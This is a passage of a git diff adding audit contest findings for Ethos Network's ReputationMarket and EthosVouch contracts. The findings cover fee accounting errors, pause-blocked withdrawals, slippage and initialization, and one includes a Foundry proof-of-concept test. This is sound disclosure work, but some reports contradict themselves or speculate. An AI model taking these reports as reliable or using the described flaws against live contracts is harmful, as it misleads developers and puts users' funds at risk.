https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660 + +### Impact + +The `ReputationMarket` contract ends up with lower funds if the graduation contract withdraws some market funds. Eventually if it tries to withdraw all the market funds across all the profiles then this will cause a revert due to insufficient funds. + +### PoC +Let us assume the following: + +funds to buy the votes = 1 eth +protocol fee = 10% of funds = 0.1 eth +donation fee = 10% of funds = 0.1 eth +remaining funds to buy the vote from market = 1 - 0.2 = 0.8 eth + +What buyVotes is adding:- +marketFunds[user] += 1 eth + +What buyVotes should add:- +marketFunds[user] += 0.8 eth + +### Mitigation + +The marketFunds should be updated with the following change: + +`marketFunds[profileId] += (fundsPaid - protocolFee - donation);` \ No newline at end of file diff --git a/346.md b/346.md new file mode 100644 index 0000000..8e53fa0 --- /dev/null +++ b/346.md @@ -0,0 +1,127 @@ +Dapper Chartreuse Wolf + +Medium + +# `Withdrawal` and `unvouch` is `not possible` when the contract is `paused` + +### Summary + +It is not possible to `unvouch` and `Withdraw` funds when the contract is `paused`, which violates [Ethos Network's Promise from Whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/vouch#unvouch) + +### Impact + +User should `unvouch` and `withdraw` their funds `at any time`. +The Ethos Network Whitepaper said that clearly: [Whitepaper-> vouch#unvouch](https://whitepaper.ethos.network/ethos-mechanisms/vouch#unvouch) + +```solidity +Unvouch +You may withdraw your staked funds at any time by unvouching. <@ + +You cannot modify the amount staked in a vouch without withdrawing the entire vouch. + +If you are mutually vouched (3,3) and unvouch, the person who was vouched can mark a vouch as "unhealthy" within 24 hours to signal to the network the vouch ended on poor terms. +``` + +So when the contract is paused user can not call `unvouch` which completely violates Ethos Network's promise from the whitepaper. + +### PoC + +On [EthosVouch::unvouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) we can see it has `whenNotPaused` modifier. +This means it can not be called when the contract is `paused` + +```solidity +/** + * @dev Unvouches vouch. + * @param vouchId Vouch Id. + */ + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +`whenNotPaused` modifier from [openzeppelin source code](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/PausableUpgradeable.sol#L65C1-L75C6) + +```solidity + /** + * @dev Modifier to make a function callable only when the contract is not paused. + * + * Requirements: + * + * - The contract must not be paused. + */ + modifier whenNotPaused() { + _requireNotPaused(); + _; + } +``` + +### Mitigation + +Remove `whenNotPaused` modifier + +```diff +/** + * @dev Unvouches vouch. + * @param vouchId Vouch Id. + */ +- function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { ++ function unvouch(uint256 vouchId) public nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +#### * Also [EthosVouch::markUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496) and [EthosVouch::unvouchUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L487) should not have `whenNotPaused` modifier which could cause different kinds of problem that I describe on my another report. \ No newline at end of file diff --git a/347.md b/347.md new file mode 100644 index 0000000..19dba65 --- /dev/null +++ b/347.md @@ -0,0 +1,64 @@ +Amusing Currant Walrus + +Medium + +# The ReputationMarket will allow participants to retain their status even after selling all their votes, leading to potential market manipulation. + +### Summary + +The absence of a mechanism to update the `isParticipant` mapping when shares are sold will cause a logical flaw for participants as users will be able to falsely appear as active market participants even after selling their votes. + + +### Root Cause + +In the [ReputationMarket.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) contract, there is a missing update in the `sellVotes` function that fails to set `isParticipant[profileId][msg.sender]` to `false` when a user sells all their votes. +The comment in the code states at [ReputationMarket.sol:120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L120): +```solidity +// append only; don't bother removing. Use isParticipant to check if they've sold all their votes. +``` +This indicates that the `isParticipant` mapping is meant to determine whether a user is genuinely participating based on their current vote holdings. The lack of an update to this mapping allows users to remain in the `participants` array without holding any votes, leading to potential manipulation of market sentiment. + + + +### Internal pre-conditions + +1. User needs to buy votes to set their address in the `participants` array. +2. User needs to sell votes to attempt to change their voting status. +3. User needs to have sold all votes for the condition to check and update `isParticipant` mapping. + +### External pre-conditions + +Market must be active for users to buy or sell votes. + +### Attack Path + +1. A user calls `buyVotes` to purchase votes, thereby being added to the `participants` array. +2. The user then calls `sellVotes` but does not trigger an update to `isParticipant`. +3. The user retains their status as a participant despite having no votes, which poses a potential risk of manipulating market perceptions without holding any voting power. + +### Impact + +The participants could suffer an approximate loss of trust in the reputation system. The attacker could potentially gains the ability to influence market sentiment without holding any voting power, undermining the integrity of the market. + + +### PoC + +_No response_ + +### Mitigation + +```solidity +function sellVotes(uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + // Logic for selling shares... + + // Check if user has sold all votes + if (votesOwned[msg.sender][profileId].votes[TRUST] == 0 && votesOwned[msg.sender][profileId].votes[DISTRUST] == 0) { + isParticipant[profileId][msg.sender] = false; + } + + .... +} +``` \ No newline at end of file diff --git a/348.md b/348.md new file mode 100644 index 0000000..b0ba22e --- /dev/null +++ b/348.md @@ -0,0 +1,64 @@ +Radiant Seaweed Armadillo + +High + +# In the `ReputationMarket.sellVotes` function, `marketFunds[profileId]` should contain protocol exit fee + +### Summary + +In the `ReputationMarket.sellVotes` function, it subtracts `fundsReceived` which does not contains procotol fee into `marketFunds[profileId]`. +In the `withdrawGraduatedMarketFunds` function, it transfers `marketFunds[profileId]` amount of ethers to authorized graduation withdrawal address. This means the contract transfers protocol exit fee twice. +As a result, this causes the protocol's loss of funds. + +### Root Cause + +In the `ReputationMarket._calculateSell` function, `fundsReceived` does not contain `protocolFee` from [L1041](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041). + +```solidity +L1041: (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +``` + +In the `ReputationMarket.sellVotes` function, it transfers protocol fee to `protocolFeeAddress` from L517. +And `fundsReceived` is subtracted from the `marketFunds[profileId]` variable from L522. + +```solidity +L517: applyFees(protocolFee, 0, profileId); +L522: marketFunds[profileId] -= fundsReceived; +``` + +In the `withdrawGraduatedMarketFunds` function, it transfers `marketFunds[profileId]` amount of ethers to authorized graduation withdrawal address. + +```solidity +L675: _sendEth(marketFunds[profileId]); +``` + +As a result, it tries to transfer fee amount of ethers, too. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +This causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +It is recommended to change the code in the `sellVotes` function as following: + +```diff +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= (fundsReceived + protocolFee); +``` diff --git a/349.md b/349.md new file mode 100644 index 0000000..820c06a --- /dev/null +++ b/349.md @@ -0,0 +1,84 @@ +Fresh Flint Dinosaur + +High + +# Fee Mismanagement in the `ReputationMarket.sellVotes` Function + +### Summary + +In the `ReputationMarket` contract, the `sellVotes` function currently subtracts `fundsReceived`, which inadvertently includes protocol exit fee from `marketFunds`. This results in the protocol fee being transferred twice in the `withdrawGraduatedMarketFunds` function, leading to a potential loss of funds for the protocol. + +### Root Cause + +The issue originates in the `_calculateSell` function, where `fundsReceived` does not contain the `protocolFee` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +```solidity + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +``` + +In the `sellVotes` function, the protocol exit fee is transferred to the `protocolFeeAddress` and the `fundsReceived` is then subtracted from `marketFunds[profileId]`: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L517-L522 + +```solidity +@> applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +@> marketFunds[profileId] -= fundsReceived; +``` + +In the `withdrawGraduatedMarketFunds` function, the entire amount in `marketFunds[profileId]` is sent to the authorized graduation withdrawal address: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +@> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +This process inadvertently attempts to transfer the fee amounts as well, leading to the double counting of fees. + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +Fee mismanagement causes the protocol's loss of funds. + +### PoC + +None + +### Mitigation + +In the `sellVotes` function, subtract protocol exit fee from `marketFunds[profileId]` diff --git a/350.md b/350.md new file mode 100644 index 0000000..a0dda5c --- /dev/null +++ b/350.md @@ -0,0 +1,58 @@ +Radiant Seaweed Armadillo + +Medium + +# The `ReputationMarket.sellVotes` function does not have slippage check like `buyVotes` function + +### Summary + +In the [`ReputationMarket.sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) function, there is no slippage check like `buyVotes` function. +The vote price is variable according to the trust and distrust votes count. +As a result, the `buyVotes` function checks for slippage, and the `sellVotes` function should do so as well. + +### Root Cause + +In the `ReputationMarket.sellVotes`, there is no slippage check. + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { +``` + +The `sellVotes` function should check slippage like in the `ReputationMarket.buyVotes` function. + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +This can causes the loss of funds to the votes seller. + +### PoC + +None + +### Mitigation + +In the `sellVotes` function, add the slippage check like `buyVotes` function. diff --git a/351.md b/351.md new file mode 100644 index 0000000..7ad8a96 --- /dev/null +++ b/351.md @@ -0,0 +1,37 @@ +Quaint Mulberry Mustang + +Medium + +# Missing Initialization of `PausableUpgradeable` in `EthosVouch.sol` + +## Vulnerability Details + +The EthosVouch contract uses the `whenNotPaused` modifier, indicating reliance on the `PausableUpgradeable` functionality. + +However, `PausableUpgradeable` is indirectly inherited via `AccessControl`, and its initialization (`__Pausable_init`) is never called. +[EthosVouch Contract](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67): +```js +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { +``` +[AccessControl Contract](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L15-L20): +```js +abstract contract AccessControl is + IPausable, + PausableUpgradeable, + AccessControlEnumerableUpgradeable, + SignatureControl +{ +``` + +## Impact +Inability to pause/unpause the `EthosVouch` contract + +## Recommendation +Add a call to `__Pausable_init` in the initialize function of the `EthosVouch` contract to ensure the `PausableUpgradeable` functionality is properly set up: +```diff +function initialize(...) external initializer { + ... ++ __Pausable_init(); // Initialize Pausable functionality + ... +} +``` \ No newline at end of file diff --git a/352.md b/352.md new file mode 100644 index 0000000..269e1be --- /dev/null +++ b/352.md @@ -0,0 +1,82 @@ +Fresh Flint Dinosaur + +Medium + +# No slippage check in the `sellVotes` function + +### Summary + +In the `ReputationMarket` contract, the `sellVotes` function, does not check the slippage like `buyVotes` function. +Because the votes price depends on the trust and distrust votes count, the `buyVotes` function check slippage. +However, there is no slippage check in the `sellVotes` function and this causes the users' loss of funds + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +When users sell votes, this can cause their loss of funds + +### PoC + +None + +### Mitigation + +Add the slippage check mechanism in the `sellVotes` function like `buyVotes` function. \ No newline at end of file diff --git a/353.md b/353.md new file mode 100644 index 0000000..3d2dc52 --- /dev/null +++ b/353.md @@ -0,0 +1,298 @@ +Passive Tawny Sheep + +High + +# buyVotes have an accounting error that make the protocol insolvent + +### Summary + +When a user buy votes the function buyVotes will count the amount used to buy votes and the fees payed to the protocol. +This will make the protocole insolvent. + +### Root Cause + +In the`buyVotes:442` function in the ReputationMarket contract the function will call `_calculateBuy` this function calculate the funds that will be used and the fee by calling previewFees. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +The function will return the funds paid as a sum of the fund used plus the fees paid as we can see here : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978-L982 + +After that the function will send the fees by calling `applyFees`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L464 + The problem is that the `buyVotes` function will directly add this sum to the marketFunds with the protocolFee making the protocol insolvent because fees have been send as we can see here : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +_No response_ + +### Impact + +The protocol will be insolvent making a call to `withdrawDonations`or `withdrawGraduatedMarketFunds` reverted + +### PoC + +In order to run this POC you will to add foundry to the project by follow simple steps : +1. run `npm install --save-dev @nomicfoundation/hardhat-foundry` +2. add in the hadhat config `import "@nomicfoundation/hardhat-foundry";` +3. run `npx hardhat init-foundry` +4. create a remappings.txt file in the contracts folder and add those lines : +```solidity +@openzeppelin/contracts/=node_modules/@openzeppelin/contracts/ +@openzeppelin/contracts-upgradeable/=node_modules/@openzeppelin/contracts-upgradeable/ +``` +5. Move the node_modules folder in the contracts folder. + +Now you can copy paste this code in the test folder and run `forge test --mt test_withdrawGraduatedMarketFundsPOC1 --via-ir` +```solidity +// SPDX-License-Identifier: GPL-2.0 +pragma solidity ^0.8.0; + +import {Test, console2} from "forge-std/Test.sol"; + +import {EthosVouch} from "contracts/EthosVouch.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; +import {EthosAttestation} from "contracts/EthosAttestation.sol"; +import {EthosProfile} from "contracts/EthosProfile.sol"; +import {ContractAddressManager} from "contracts/utils/ContractAddressManager.sol"; +import {SignatureVerifier} from "contracts/utils/SignatureVerifier.sol"; +import {InteractionControl} from "contracts/utils/InteractionControl.sol"; +import {EthosReview} from "contracts/EthosReview.sol"; +import {EthosVote} from "contracts/EthosVote.sol"; +import {RejectETHReceiver} from "contracts/mocks/RejectETH.sol"; +import {PaymentToken} from "contracts/mocks/PaymentToken.sol"; +import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; + +contract CodedPOC is Test { + event LogBytes32(string message, bytes32 value); + event LogBytes(string message, bytes value); + event LogUint256(string message, uint256 value); + event LogUint256Array(string message, uint256[] value); + event LogAddressArray(string message, address[] value); + event LogAddress(string message, address value); + event LogBool(string message, bool value); + + EthosVouch ethosVouch; + ContractAddressManager contractAddressManager; + ReputationMarket reputationMarket; + SignatureVerifier signatureVerifier; + InteractionControl interactionControl; + EthosAttestation ethosAttestation; + EthosProfile ethosProfile; + EthosReview ethosReview; + EthosVote ethosVote; + RejectETHReceiver rejectETHReceiver; + address constant BOB = address(0x10000); + address constant ALICE = address(0x20000); + address constant CHARLIE = address(0x30000); + address constant OWNER = address(0x40000); + address constant ADMIN = address(0x50000); + address constant expectedSigner = address(0x60000); + address constant feeProtocolAddr = address(0x70000); + address constant proxyAdmin = address(0x80000); + address constant slashing = address(0x80000); + address constant graduateAddress = address(0x90000); + + address sender; + address[] internal users; + + string constant attestation = "ETHOS_ATTESTATION"; + string constant contractAddressManagerName = "ETHOS_CONTRACT_ADDRESS_MANAGER"; + string constant discussion = "ETHOS_DISCUSSION"; + string constant interactionControlName = "ETHOS_INTERACTION_CONTROL"; + string constant profil = "ETHOS_PROFILE"; + string constant reputationMarketName = "ETHOS_REPUTATION_MARKET"; + string constant review = "ETHOS_REVIEW"; + string constant signatureVerifierName = "ETHOS_SIGNATURE_VERIFIER"; + string constant vote = "ETHOS_VOTE"; + string constant vouch = "ETHOS_VOUCH"; + string constant vaultManager = "ETHOS_VAULT_MANAGER"; + string constant slashPenalty = "ETHOS_SLASH_PENALTY"; + string constant slasher = "SLASHER"; + string constant graduate = "GRADUATION_WITHDRAWAL"; + uint256 constant MAX_ETH = 100e18; + PaymentToken paymentToken1; + PaymentToken paymentToken2; + uint256[] vouchIds; + uint256[] vouchIdsActive; + uint256[] vouchIdsArchived; + uint256[] marketIds; + uint256[] marketIdsActive; + uint256[] marketIdsGraduated; + uint256 subjectId; + uint256 totalDepositVouch; + mapping(address => uint256) profilIdBySender; + uint256 constant TRUST = 1; + uint256 constant DISTRUST = 0; + + function setUp() public { + vm.warp(1524785992); + vm.roll(4370000); + users = [BOB, ALICE, CHARLIE]; + contractAddressManager = new ContractAddressManager(); + signatureVerifier = new SignatureVerifier(); + interactionControl = new InteractionControl(OWNER, address(contractAddressManager)); + + EthosAttestation ethosAttestationimpl = new EthosAttestation(); + TransparentUpgradeableProxy ethosAttestationProxy = + new TransparentUpgradeableProxy(address(ethosAttestationimpl), proxyAdmin, ""); + ethosAttestation = EthosAttestation(address(ethosAttestationProxy)); + ethosAttestation.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosProfile ethosProfileimpl = new EthosProfile(); + TransparentUpgradeableProxy ethosProfileProxy = + new TransparentUpgradeableProxy(address(ethosProfileimpl), proxyAdmin, ""); + ethosProfile = EthosProfile(address(ethosProfileProxy)); + ethosProfile.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosReview ethosReviewimpl = new EthosReview(); + TransparentUpgradeableProxy ethosReviewProxy = + new TransparentUpgradeableProxy(address(ethosReviewimpl), proxyAdmin, ""); + ethosReview = EthosReview(address(ethosReviewProxy)); + ethosReview.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosVote ethosVoteimpl = new EthosVote(); + TransparentUpgradeableProxy ethosVoteProxy = + new TransparentUpgradeableProxy(address(ethosVoteimpl), proxyAdmin, ""); + ethosVote = EthosVote(address(ethosVoteProxy)); + ethosVote.initialize(OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager)); + EthosVouch ethosVouchimpl = new EthosVouch(); + TransparentUpgradeableProxy ethosVouchProxy = + new TransparentUpgradeableProxy(address(ethosVouchimpl), proxyAdmin, ""); + ethosVouch = EthosVouch(address(ethosVouchProxy)); + ethosVouch.initialize( + OWNER, + ADMIN, + expectedSigner, + address(signatureVerifier), + address(contractAddressManager), + feeProtocolAddr, + 500, + 1500, + 2000, + 1000 + ); + rejectETHReceiver = new RejectETHReceiver(); + address[] memory addresses = new address[](8); + addresses[0] = address(ethosAttestation); + addresses[1] = address(ethosProfile); + addresses[2] = address(ethosReview); + addresses[3] = address(ethosVote); + addresses[4] = address(ethosVouch); + addresses[5] = address(interactionControl); + addresses[6] = address(slashing); + addresses[7] = address(graduateAddress); + string[] memory names = new string[](8); + names[0] = attestation; + names[1] = profil; + names[2] = review; + names[3] = vote; + names[4] = vouch; + names[5] = interactionControlName; + names[6] = slasher; + names[7] = graduate; + contractAddressManager.updateContractAddressesForNames(addresses, names); + string[] memory namesInteraction = new string[](5); + namesInteraction[0] = attestation; + namesInteraction[1] = profil; + namesInteraction[2] = review; + namesInteraction[3] = vote; + namesInteraction[4] = vouch; + vm.prank(OWNER); + interactionControl.addControlledContractNames(namesInteraction); + paymentToken1 = new PaymentToken("PAYMENT TOKEN NAME 1", "PTN 1"); + paymentToken2 = new PaymentToken("PAYMENT TOKEN NAME 2", "PTN 2"); + for (uint256 i = 0; i < users.length; i++) { + paymentToken1.mint(users[i], 1_000_000e18); + paymentToken2.mint(users[i], 1_000_000e18); + vm.prank(OWNER); + ethosProfile.inviteAddress(users[i]); + vm.prank(users[i]); + paymentToken1.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + paymentToken2.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + ethosProfile.createProfile(1); + vm.deal(address(users[i]), 100_000_000e18); + } + ReputationMarket reputationMarketimpl = new ReputationMarket(); + TransparentUpgradeableProxy reputationMarketProxy = + new TransparentUpgradeableProxy(address(reputationMarketimpl), proxyAdmin, ""); + reputationMarket = ReputationMarket(address(reputationMarketProxy)); + reputationMarket.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + profilIdBySender[BOB] = ethosProfile.profileIdByAddress(BOB); + profilIdBySender[ALICE] = ethosProfile.profileIdByAddress(ALICE); + profilIdBySender[CHARLIE] = ethosProfile.profileIdByAddress(CHARLIE); + subjectId = profilIdBySender[BOB]; + vm.label(BOB, "BOB"); + vm.label(ALICE, "ALICE"); + vm.label(CHARLIE, "CHARLIE"); + vm.label(OWNER, "OWNER"); + vm.label(ADMIN, "ADMIN"); + vm.label(expectedSigner, "expectedSigner"); + vm.label(feeProtocolAddr, "feeProtocolAddr"); + vm.label(slashing, "slashing"); + vm.label(graduateAddress, "graduateAddress"); + vm.label(address(ethosAttestation), "ethosAttestation"); + vm.label(address(ethosProfile), "ethosProfile"); + vm.label(address(ethosReview), "ethosReview"); + vm.label(address(ethosVote), "ethosVote"); + vm.label(address(ethosVouch), "ethosVouch"); + vm.label(address(interactionControl), "interactionControl"); + vm.label(address(reputationMarket), "reputationMarket"); + vm.label(address(contractAddressManager), "contractAddressManager"); + vm.label(address(signatureVerifier), "signatureVerifier"); + vm.label(address(rejectETHReceiver), "rejectETHReceiver"); + vm.label(address(paymentToken1), "paymentToken1"); + vm.label(address(paymentToken2), "paymentToken2"); + vm.prank(ADMIN); + reputationMarket.setAllowListEnforcement(false); + vm.prank(ADMIN); + reputationMarket.setProtocolFeeAddress(feeProtocolAddr); + } + function test_withdrawGraduatedMarketFundsPOC1() public { + //We start by setting protocol fees. + vm.prank(ADMIN); + reputationMarket.setEntryProtocolFeeBasisPoints(250); + //Bob create a default tier market with 0.02 ether as initial amount. + vm.prank(BOB); + reputationMarket.createMarketWithConfig{value: 61_009171728257888565}(0); + //Alice buy some distrust votes with 16 ether. + vm.prank(ALICE); + reputationMarket.buyVotes{value: 16618027873176264600}(2, false, 1452, 8754); + //The graduate address graduate the market 2 which is the bob profilId + vm.prank(graduateAddress); + reputationMarket.graduateMarket(2); + //When the graduate address withdraw the funds the call will revert + vm.prank(graduateAddress); + reputationMarket.withdrawGraduatedMarketFunds(2); + } +} +``` + +You should have this output : + +```solidity +[FAIL: revert: ETH transfer failed] test_withdrawGraduatedMarketFundsPOC1() (gas: 1957564) +``` + +### Mitigation + +The protocol should just change the `buyVotes` code by taking into account the fees : + +```solidity + marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/354.md b/354.md new file mode 100644 index 0000000..f3a28e7 --- /dev/null +++ b/354.md @@ -0,0 +1,261 @@ +Noisy Coal Cod + +High + +# Incorrect Inclusion of Fees in Market Funds Calculation in `ReputationMarket::buyVotes()` + +### Summary + +Fees and Donations are incorrectly included in MarketFunds when they are added to funds paid that is calculated in [ReputationMarket::_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + @>> fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + @>> fundsPaid += protocolFee + donation; //donation and protocol fees added to funds paid + +``` +funds paid contains the total amount to be spent on votes, but then the protocol fee and donations are added to it . + + +When used in `ReputationMarket::buyVotes()` : +Calculate the funds to be paid which include the addition of fees. +`applyFees(protocolFee, donation, profileId);` apply fees is later called after calculating the buy which send the appropriate fee amount to their destination and set the donation for the market owner. +These fees are no longer owned by the reputation market contract (what is still on the contract has been allocated for donations) +but the fundsPaid calculation still include these fees when adding to the total funds spent on the market (marketFunds) + +```solidity +// tally market funds +// this tally market funds + fees and donations +marketFunds[profileId] += fundsPaid; +``` +which is incorrect as the fees and donations were not spent in the market and has already been processed and allocated. + +### Root Cause + +in [ReputationMarket::_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942) + +```solidity + function _calculateBuy( Market memory market, bool isPositive, uint256 funds ) private view returns (uint256 votesBought, uint256 fundsPaid, uint256 newVotePrice, uint256 protocolFee, uint256 donation, uint256 minVotePrice, uint256 maxVotePrice ) { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + ... + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + ... + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; //fees and donation being added + ... + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +The total funds paid (fundsPaid) adds fees and donation to it and it's returned in the view function + +in [ReputationMarket::buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442C12-L442C20) + +```solidity + +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + ... + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, // funds spent on buying votes + fees + donations + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + // Apply fees first + // Apply fees and donations (send fees 